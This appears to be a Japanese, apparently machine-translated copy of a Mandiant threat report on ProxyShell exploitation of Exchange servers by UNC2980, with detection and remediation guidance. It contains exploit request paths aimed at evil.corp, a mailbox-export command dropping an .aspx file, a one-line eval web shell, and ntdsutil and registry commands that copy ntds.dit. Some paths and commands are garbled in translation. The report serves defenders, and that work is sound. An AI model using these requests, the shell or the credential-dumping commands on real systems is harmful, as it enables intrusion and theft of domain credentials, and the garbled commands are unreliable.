PST、シェルが必要ですか? Microsoft Exchange サーバーを悪用する ProxyShell

BLUEBEAM ASP web shell that was embedded into a PST payload news

2021 年 8 月、Mandiant Managed Defense は、ProxyShell として知られる一連の脆弱性の悪用を特定し、対応しました。 ProxyShell の脆弱性は 3 つの CVE (CVE-2021-34473、CVE-2021-34523、CVE-2021-31207) で構成され、オンプレミスの Microsoft Exchange Server の次のバージョンに影響を与えます。

  • Exchange Server 2013 (累積更新プログラム 23 以下)
  • Exchange Server 2016 (累積更新プログラム 20 以下)
  • Exchange Server 2019 (累積更新プログラム 9 以下)

脆弱性は、次の CVE で追跡されています。

CVE

リスク評価

アクセス ベクトル

悪用可能性

攻撃のしやすさ

マンディアント・インテル

CVE-2021-34473

高い

通信網

機能的

簡単

リンク

CVE-2021-34523

低い

ローカル

機能的

簡単

リンク

CVE-2021-31207

中くらい

通信網

機能的

簡単

リンク

表 1: 2021 年 5 月と 7 月の Microsoft Exchange CVE と FireEye Intel サマリーのリスト

概要

Microsoft Exchange Server は、組織に電子メールとサポート サービスを提供します。このソリューションは、オンプレミスとクラウドの両方でグローバルに使用されています。この一連の脆弱性は、Microsoft Exchange Server のパッチが適用されていないオンプレミス エディションのみに存在し、インターネット上でアクセス可能なサーバーで積極的に悪用されています。

Mandiant は、教育、政府、ビジネス サービス、電気通信など、さまざまな業界に影響を与える複数の侵入に対応しました。これらの組織は、米国、ヨーロッパ、および中東に拠点を置いています。ただし、ターゲティングは、直接観察されるよりも広いことはほぼ確実です。

Mandiant が観測した特定の標的型攻撃の 1 つは、この投稿で詳しく説明されていますが、UNC2980 が ProxyShell の脆弱性を悪用して環境へのアクセスを取得した、米国に本拠を置く大学に対するものでした。

エクスプロイト チェーンの説明

ProxyShell は、オンプレミスの Microsoft Exchange サーバーに影響を与える 3 つの異なる脆弱性を悪用して、事前認証されたリモート コード実行 (RCE) を実現する一連の攻撃を指します。エクスプロイト チェーンは、DEVCORE 研究チームの Orange Tsai (@orange_8361) によって発見され、 公開されました。

ペイロードの配信

後でメールボックスからエクスポートして Microsoft Exchange サーバー上に Web シェルを作成するには、攻撃者は最初にメールボックス内に電子メール アイテムを作成する必要があります。攻撃の Metasploit 実装では、Autodiscover サービスが悪用されて、既知のユーザーの識別名 (DN) が漏えいします。識別名 (DN) は、Microsoft Exchange 内部で使用されるアドレス形式です。その後、Messaging Application Programming Interface (MAPI) を利用して、以前に漏洩した DN を要求として渡すことにより、ユーザーのセキュリティ識別子 (SID) を漏洩させます。次に、SID を使用してアクセス トークンを偽造し、Exchange Web サービス (EWS) と通信します。

攻撃者は、有効なアクセス トークンを使用して標的のユーザーになりすますことができれば、EWS 操作を実行できます。 ProxyShell 攻撃を続行するには、操作「CreateItem」を使用します。これにより、なりすましユーザーのメールボックスで電子メール メッセージをリモートで作成できます。 Mandiant は応答中に、Web シェルが添付された下書きメールを確認しました。これらは、攻撃の後半で PST へのエクスポート時にデコードされるようにエンコードされています (具体的には順列エンコーディングを使用)。

Orange Tsai の攻撃に関する文書で示唆されているように、電子メールは SMTP 経由で標的のユーザーのメールボックスに配置されることもあります。

CVE-2021-34473 — 事前認証パスの混乱が ACL バイパスにつながる

Microsoft Exchange には「明示的なログオン」と呼ばれる機能があり、ユーザーは URL にメールボックスのアドレスを指定することで、別のユーザーのメールボックスまたは予定表を新しいブラウザー ウィンドウで合法的に開くことができます。この機能は、「フル アクセス」がユーザーに付与され、対象のメールボックスまたは予定表が発行するように構成されている場合にのみアクセスを提供するように設計されています。 Exchange は、URL で指定されたメールボックス アドレスを正規化してターゲットを識別するように設計されています。

この脆弱性は、文字列 Autodiscover/Autodiscover.json を URL の電子メール フィールドに渡す際に存在します。その文字列を渡すことにより、Exchange はアドレスに対して十分なチェックを実行せず、その正規化プロセスを通じて、NT AUTHORITY/SYSTEM としてバックエンド URL への任意のアクセスにつながります。

GET /autodiscover/autodiscover.json?@evil.corp/?&Email=autodiscover/autodiscover.json%3F@evil.corp

GET /autodiscover/autodiscover.json?@evil.corp/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%3F@evil.corp

POST /autodiscover/autodiscover.json?@evil.corp/autodiscover/autodiscover.xml?&Email=autodiscover/autodiscover.json%3F@evil.corp

POST /autodiscover/autodiscover.json?@evil.corp/mapi/emsmdb?&Email=autodiscover/autodiscover.json%3F@evil.corp

図 1: 攻撃者が明示的ログオン機能の正規化プロセスを悪用する方法を示す要求

CVE-2021-34523 — Exchange PowerShell バックエンドでの権限昇格

Microsoft Exchange にネイティブに組み込まれている Exchange PowerShell Remoting 機能は、コマンド ラインを介して管理アクティビティを支援するように設計されています。以前のエクスプロイトでは、攻撃者は NT AUTHORITY/SYSTEM として任意のバックエンド URL とやり取りすることができましたが、そのユーザーはメールボックスを持っていないため、攻撃者はその特権レベルで PowerShell バックエンド (/Powershell) と直接やり取りすることはできません。

PowerShell バックエンドは、受信要求の X-CommonAccessToken ヘッダーをチェックします。ヘッダーが存在しない場合は、別のメソッドを使用して CommonAccessToken を取得します。このメソッドは、着信要求の X-Rps-CAT パラメーターをチェックし、存在する場合は、これを有効な CommonAccessToken に逆シリアル化します。ターゲットメールボックスで以前に収集された情報または組み込みメールボックスからのデフォルト情報を使用すると、有効な X-Rps-CAT 値を渡すのは簡単です。

この値を以前に成功したアクセス トークンと共に PowerShell バックエンドに渡すことで、攻撃者は NT AUTHORITY/SYSTEM アカウントからターゲット ユーザーにダウングレードできます。このユーザーは、任意の Exchange PowerShell コマンドを実行するために、ローカルの管理者権限を持っている必要があります。

POST /autodiscover/autodiscover.json?a=abcde@evil.com/powershell/?X-Rps-CAT=[Base64 エンコード データ]

図 2: この要求は、有効なユーザーの偽装を許可するパラメーター X-Rps-CAT を使用します。

CVE-2021-31207 — 認証後の任意のファイル書き込みにより RCE が発生する

以前の 2 つの脆弱性の悪用に成功すると、脆弱性 CVE-2021-31207 により、攻撃者はファイルを書き込むことができます。攻撃者が任意の PowerShell コマンドを実行できるようになり、必要な「エクスポート メールボックスのインポート」ロールが偽装ユーザーに割り当てられるとすぐに (これは、New-ManagementRoleAssignment コマンドレットの実行によって達成できます)、コマンドレット New-MailboxExportRequest を実行できます。ユーザーのメールボックスを特定の目的のパスにエクスポートするために使用されます。

New-MailBoxExportRequest – メールボックス john.doe@enterprise.corp -FilePath 127.0.0.1C$pathtowebshell.aspx

図 3: New-MailBoxExportRequest を使用してペイロードをエクスポートできます

New-MailboxExportRequest を使用すると、攻撃者は、エンコードされた Web シェルを使用して以前に作成された電子メールが作成されたターゲット メールボックスをエクスポートできます。攻撃者はメールボックスを ASPX などの Web ファイル拡張子を持つ PST ファイル形式にエクスポートできます。これにより、攻撃者は機能する Web シェルをドロップできます。これは、電子メール内のエンコードされた添付ファイルが PST ファイル形式への書き込み時にデコードされるためです。これは、順列エンコーディングを使用する PST ファイル形式によるもので、事前にエンコードされたペイロードを添付することで、エクスポート時にデコードされたペイロードが実際に書き込まれます。

調査からの観察

Mandiant は、ProxyShell の悪用を伴う侵入に、さまざまな顧客や業界で対応しました。セキュリティ研究者によって開発され公開された概念実証 (PoC) エクスプロイトの例は、あらゆる脅威グループによって利用される可能性があり、さまざまなレベルの洗練度を持つ脅威グループによって採用される可能性があります。 Mandiant は、被害者の組織をさらに侵害するための Web シェル、バックドア、トンネリング ユーティリティの展開など、エクスプロイト後の活動につながるエクスプロイト チェーンを観測しています。このブログ投稿のリリース時点で、Mandiant は ProxyShell の脆弱性を悪用する 8 つのUNC グループを追跡しています。 Mandiant は、さまざまな攻撃者が有効なエクスプロイトを採用するにつれて、より多くのクラスターが形成されると予想しています。

搾取

Mandiant は、Autodiscover サービスの悪用から始まり、既知のユーザーの識別名 (DN) を漏えいし、それを利用して管理者のセキュリティ識別子 (SID) を漏らす Proxyshell の悪用を観察しました。

漏洩した DN と SID を使用して、攻撃者は悪意のあるペイロードが添付された下書きの電子メールを含むメールボックスを作成できます。その後、メールボックスとそこに含まれるペイロードは、Web アクセス可能なディレクトリまたはホスト上の別のディレクトリにエクスポートされます。

ProxyShell の悪用の試みは、ほとんどが自動化されているようです。場合によっては、Mandiant は、リモートでメールボックス内のアイテムを作成するなど、部分的な攻撃者の成功のみを観測しましたが、ホスト上の別のディレクトリへのメールボックスとそこに含まれるペイロードのエクスポートは観測しませんでした。

Mandiant は、ProxyShell エクスプロイト チェーンの第 1 段階と一致する HTTP リクエストを試みるさまざまな送信元 IP アドレスとユーザー エージェントを観察しました。

搾取後

脆弱性の悪用に成功した Mandiant は、CHINACHOP や BLUEBEAM Web シェルなど、複数のペイロードがネットワーク内で足場を固めていることを確認しました (「マルウェアの定義」セクションを参照)。後続のアクションには、サーバー上での内部偵察コマンドの実行、およびトンネラー ユーティリティの展開が含まれます。

BLUEBEAM ASP web shell that was embedded into a PST payload
図 4: PST ペイロードに埋め込まれた BLUEBEAM ASP Web シェル

脅威アクター スポットライト: UNC2980

2021 年 8 月、Mandiant Managed Defense は、米国に拠点を置く大学での ProxyShell の脆弱性を利用した侵入に対応しました。 Mandiant は、この攻撃者を UNC2980 として追跡しています。

UNC2980 は、2021 年 8 月以降に追跡された脅威活動のクラスターであり、サイバー スパイ活動を行っていると考えられています。 Mandiant は、このグループが現在信頼度が低いと評価されている中国から活動していると疑っています。 UNC2980 は、一般に「ProxyShell」と呼ばれる CVE-2021-34473、CVE-2021-34523、CVE-2021-31207 を悪用して、初期アクセス用の Web シェルをアップロードすることが確認されています。このグループは、侵害後、EARTHWORM、HTRAN、MIMIKATZ、WMIEXEC など、公開されている複数のツールに依存しています。

UNC2980 の動作

ProxyShell を悪用して Web シェルを展開することでアクセスを取得すると、UNC2980 は被害者の環境に複数のツールをドロップしました。侵入された最初のホストでは、HTRAN、EARTHWORM、および複数の MIMIKATZ 亜種の公開ツールが確認されました。

<script language=’JScript’ runat=’server’ Page aspcompat=true>function Page_Load(){eval(Request[‘cmd’],’unsafe’);}</script>

図 5: UNC2980 で使用される PST ペイロードに埋め込まれた Web シェル

ProxyShell のエクスプロイトから約 11 時間 44 分後、Mandiant はエクスプロイト後のアクティビティを観察しました。これは、最初に侵害されたホストのプロセス C:rootmimikatz.exe によって開始された複数のイベント ID 4648 (明示的な資格情報を使用してログオンが試みられました) イベントで始まります。 .すべてのイベント ID 4648 イベントは、環境内の 2 つの異なるドメイン コントローラーに関連付けられていました。

次に、このグループはユーティリティ WMIEXEC を利用して、エクスプロイト後の活動を行いました。これは主に、WMIEXEC で使用されるコマンド出力のデフォルトのリダイレクトを通じて確認されました。

cmd.exe /c whoami > C:wmi.dll 2>&1

cmd.exe /c quser > C:wmi.dll 2>&1

cmd.exe /c ネット ローカルグループ管理者 > C:wmi.dll 2>&1

図 6: WMICEXEC 経由で実行される偵察コマンド

UNC2980 は、ホストへのアクセスが確立されると、資格情報を盗むためにいくつかの手法を利用していることが確認されました。ある例では、偵察を行った後、UNC2980 が MIMIKATZ の複数の亜種を展開しました。別の例では、UNC2980 は複数のバッチ ファイルを利用して ntdsutil を実行し、ボリュームのスナップショットを列挙し、ntds.dit とシステム ハイブをコピーするために使用されました。

ntdsutil スナップショット “List All” quit quit >>c:temp.txt

ntdsutil スナップショット “アンマウント {[GUID]}” 終了 終了

ネットローカルグループ管理者

ntdsutil スナップショット「インスタンス ntds をアクティブ化」 create quit quit

ntdsutil スナップショット “削除 {[GUID] }” 終了 終了

ntdsutil スナップショット “マウント {[GUID]}” 終了 終了

コピー c:$SNAP_2024/04/26_VOLUMEC$windowsntdsntds.dit c:tempntds.dit

reg 保存 hklmsystem c:temps.hive

図 7: 実行されたバッチ コマンド

監視と調査

Mandiant は、現在または以前に脆弱な Exchange サーバーの侵害を監視または調査することをお勧めします。

メールボックス内のアイテムのリモート作成
  • 不規則な Exchange EWS ログを監視または調査して、アイテムのリモート作成を示す CreateItem 要求を特定します。
    • Mandiant は、エンコードされた Web シェルが添付された下書きメールが作成されたことを確認しましたが、他のアイテムも作成される可能性があります。
    • 「Program FilesMicrosoftExchange ServerV15LoggingEws*」の下のログを調べます。
      • AuthenticatedUser は SYSTEM またはシステム アカウントです
      • SoapAction は CreateItem です
      • HttpStatus は 200 (成功を示す)
  • エンコードされた添付ファイルを含む下書きメールを監視または識別します。
    • Mandiant は、コンテンツがエンコードされた .TXT ファイルが添付された下書きメールを確認しました。
リモート認証されていない PowerShell
  • 「/autodiscover/autodiscover.json」と「Powershell」を含む成功した POST 要求の IIS ログを監視します。
  • PowerShell コマンドレット ‘New-ManagementRoleAssignment’ または ‘New-MailboxExportRequest’ の実行を監視または調査します。
    • Mandiant は、「New-ManagementRoleAssignment」を使用してターゲット メールボックスにメールボックスのインポートおよびエクスポート権限を割り当て、続いて「New-MailboxExportRequest」を使用して、エンコードされた Web シェルが添付された電子メールを含む下書きフォルダーをエクスポートすることを確認しました。
    • PowerShell ScriptBlock、トランスクリプション、モジュール ログが有効になっていることを確認します。
    • ‘Program FilesMicrosoftExchange ServerV15LoggingCmdletInfraPowershell-ProxyCmdlet*’ の下のログ、特に次のコマンドレット パラメーターを調べます。
      • AuthenticatedUser は、偽装されたメールボックス ユーザーの名前です。
      • ProcessName には w3wp が含まれています
      • コマンドレットは「New-ManagementRoleAssignment」または「New-MailboxExportRequest」です
    • Mandiant は、通常の PowerShell ScriptBlock/transcription/module ログが有効になっていない場合でも、リモート コマンドレットとそのパラメーターを記録する ‘CmdletInfraPowershell-ProxyCmdlet’ ログを観察しました。
    • Mandiant は、攻撃者がエクスプロイト チェーンの一部のみを利用して PowerShell コマンドレットを実行する可能性があるため、Web シェルが特定されていない場合でも、現在または以前に脆弱なサーバーでこれらのログを確認することをお勧めします。
  • 「Program FilesMicrosoftExchange ServerV15LoggingLocalQueueExchange*」に保存されている監査ログの「データ」フィールドを調べます。このフィールドには、実行された PowerShell コマンドレットを含む操作キーの値を持つ JSON データが含まれます。

Web シェルの作成または使用

  • SYSTEM によって書き込まれたパス inetpubwwwrootaspnet_client の下に作成された .ASPX ファイルを監視または特定します。
  • Web ファイル拡張子 (通常は .ASPX) を持つ PST ファイル (ヘッダー ‘!BDN’ / 0x2142444E) を監視または識別します。これらのファイルは、MSMailboxReplication.exe または w3wp.exe によって書き込まれる可能性があります (後者は、同じクラスター内の別の Exchange サーバーの悪用によるレプリケーション イベントの結果である可能性があります)。
  • MSMailboxReplication.exe によって作成され、.PST 以外の拡張子を持つファイルを監視または識別します (このバイナリは、New-MailboxExportRequest PowerShell コマンドレットによって使用されます)。
  • プロセス w3wp.exe によって生成された任意のコマンドを監視または特定します。
  • 「MSExchange Management」イベント ログ (EID: 1 および EID: 6) を監視または調査して、Web シェルの作成試行を示す .ASPX 拡張子を持つ「New-MailboxExportRequest」要求を特定します。

このレポートで説明されているパターンの一部に一致する HTTP 要求を探して、ネットワークと IIS ログを分析することで、追加の悪用の試みまたは成功を特定することができます。

  • 「powershell」、「mapi/nspi」、「mapi/emsmdb」、「/EWS」、または「X-Rps-CAT」を含む /autodiscover/autodiscover.json に対する要求。
  • 悪用の成功を示すステータス コード 200、301、または 302。
  • 悪用の試みを示すステータス コード 400、401、または 404。

予防と修復

Mandiant は、すべての組織に対し、パッチKB5003435 (CVE-2021-31207) およびKB5001779 (CVE-2021-34473 および CVE-2021-34523) を脆弱なオンプレミス Microsoft Exchange サーバーに適用して、これらの脆弱性の悪用を軽減することをお勧めします。組織内で実行されているオンプレミスの Microsoft Exchange の現在のバージョンを確認するには、このMicrosoft リソースを参照してください。

組織がパッチをすぐに適用できない場合は、オンプレミスの Exchange サーバーへの受信 TCP/80 および TCP/443 トラフィックをインターネットから明示的にブロックする必要があります。

さらに、Mandiant は、組織が、特に次のような公開インフラストラクチャで、検出および対応機能を確認することを推奨しています。

  • ファイル整合性監視ソリューションを展開および構成して、特にメンテナンス ウィンドウ外の Web サーバーでファイルの作成を監視および/または防止する
  • エンドポイントの検出と応答ソリューションを展開、構成、および監視して、悪意のあるアクティビティに効果的に警告し、対応する
  • 強化されたログ記録を有効にし、次のような調査をサポートするために十分なログ保持期間を実装します。
    • Windows サーバー上の Microsoft Systems Monitor (Sysmon)
    • PowerShell モジュール、スクリプト ブロック、および転写ログ

テクニックの検出

製品

サイン

FireEye エンドポイント セキュリティ

  • ASP 拡張機能を使用した PST ファイル書き込み (方法論)
  • W3WP.EXE 子プロセスの偵察コマンド (方法論)
  • WMICEXEC (ファミリー)

FireEye ネットワーク セキュリティ

  • Exploit.PY.ProxyShell
  • Microsoft Exchange CVE-2021-34473 リモート コード実行
  • FE_Microsoft Exchange CVE-2021-34473 リモート コード実行

ファイア・アイの電子メール・セキュリティ

FireEye 検出オンデマンド

FireEye マルウェア ファイル スキャン

FireEye マルウェア ファイル ストレージ スキャン

  • FEC_エクスプロイト_PY_ProxyShell
  • FE_Hunting_PSTWithEmbeddedWebShell
  • FE_エクスプロイト_PY_ProxyShell

ファイアアイ・ヘリックス

  • MICROSOFT EXCHANGE [ProxyShell エクスプロイトの試み]
  • MICROSOFT EXCHANGE [ProxyShell エクスプロイトの成功]
  • MICROSOFT EXCHANGE [Post-Auth Arbitrary-File-Write (CVE-2021-31207) – メールボックス エクスポート]
  • MICROSOFT EXCHANGE [Post-Auth Arbitrary-File-Write (CVE-2021-31207) – Certificate Request Export]

Mandiant セキュリティ検証アクション

組織は、Mandiant Security Validation で次のアクションを使用して、セキュリティ コントロールを検証できます。

VID

名前

A101-827

アプリケーションの脆弱性 – CVE-2021-34473、ProxyShell 脆弱性チェック

A101-829

アプリケーションの脆弱性 – ProxyShell、悪用

A101-839

悪意のあるファイル転送 – ProxyShell WebShell、ダウンロード

マルウェアの定義

ブルービーム

BLUEBEAM (別名ゴジラ) は、JAVA で書かれた公開されている Web シェル管理ツールです。 BLUEBEAM は、JSP、ASP[.]NET、および PHP で Web シェル ペイロードを生成でき、AES 暗号化もサポートします。

BLUEBEAM には、追加の Web シェルのメモリへのロード、シェルの実行、mimikatz、meterpreter、ファイル圧縮、権限昇格などの機能を提供する 20 の組み込みモジュールが含まれています。

HTRAN

HTRAN は、コマンド ライン引数で指定された 2 つのエンドポイント間のプロキシとして機能する、C/C++ で書かれた公開されているトンネラーです。

ミミズ

EARTHWORM は、公開されているトンネラー ユーティリティです。 SOCKS v5 サーバーへのトンネルを確立でき、次のオペレーティング システムでサポートされています: Linux、MacOS、および Arm-Linux。

チャイナチョップ

CHOPPER Web シェルは、HTTP POST コマンド内で Microsoft .NET コードを実行できる単純なコード インジェクション Web シェルです。これにより、シェルは、ファイルのアップロードとダウンロード、Web サーバー アカウントのアクセス許可を使用したアプリケーションの実行、ディレクトリの内容の一覧表示、Active Directory へのアクセス、データベースへのアクセス、および .NET ランタイムによって許可されたその他のアクションを実行できます。

詳細な分析については、 China Chopper Web シェルに関するブログ投稿を参照してください。

謝辞

アレックス・ペニーノ、アンドリュー・レクター、ハリス・アンサリ、ヤシュ・グプタ

参照: https://www.mandiant.com/resources/blog/pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers

Comments

Copied title and URL